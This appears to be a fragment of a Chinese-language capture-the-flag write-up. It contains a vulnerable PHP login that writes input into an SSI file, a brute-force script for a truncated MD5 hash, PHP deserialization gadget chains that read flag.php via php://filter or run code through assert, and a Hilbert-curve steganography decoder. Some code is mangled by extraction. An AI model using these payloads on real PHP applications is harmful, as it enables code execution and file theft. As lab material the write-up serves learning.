if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***'; fwrite($shtml,$text); fclose($shtml);
只要有一个密码前六位的MD5是6d0bc1 跑脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import hashlib
a= "0123456789" for o in a: for p in a: for q in a: for r in a: for s in a: for t in a: for u in a: b = str(o)+str(p)+str(q)+str(r)+str(s)+str(t)+str(u) md5 = hashlib.md5(b.encode('utf-8')).hexdigest() if ((md5[0:6])=='6d0bc1'): print b
<?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; } public function __toString(){ return "asdasd"; } }
class Test{ public $p; }
$a = new Show('aaa'); $a->str = new Test(); $a->str->p = new Modifier(); $b = new Show($a); echo urlencode(serialize($b)); ?>
<?php class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "phpinfo()"; $this->b = "assert"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); } } $c = new HelloPhp(); var_dump(serialize($c)); ?>
import numpy as np from PIL import Image from hilbertcurve.hilbertcurve import HilbertCurve
with Image.open('threebody_new.bmp') as img: arr = np.asarray(img) arr = np.vectorize(lambda x: x&1)(arr[:,:,2])
for x1 inrange(np.size(arr,0)): ifsum(arr[x1])>0: break for x2 inreversed(range(np.size(arr,0))): ifsum(arr[x2])>0: break for y1 inrange(np.size(arr,1)): ifsum(arr[:,y1])>0: break for y2 inreversed(range(np.size(arr,1))): ifsum(arr[:,y2])>0: break
arr = arr[x1:x2+1, y1:y2+1]
hilbert_curve = HilbertCurve(7, 2)
s = '' for i inrange(np.size(arr)): [x,y] = hilbert_curve.point_from_distance(i) s += str(arr[127-y][x])
withopen('output', 'wb') as f: f.write(int(s,2).to_bytes(2048, 'big'))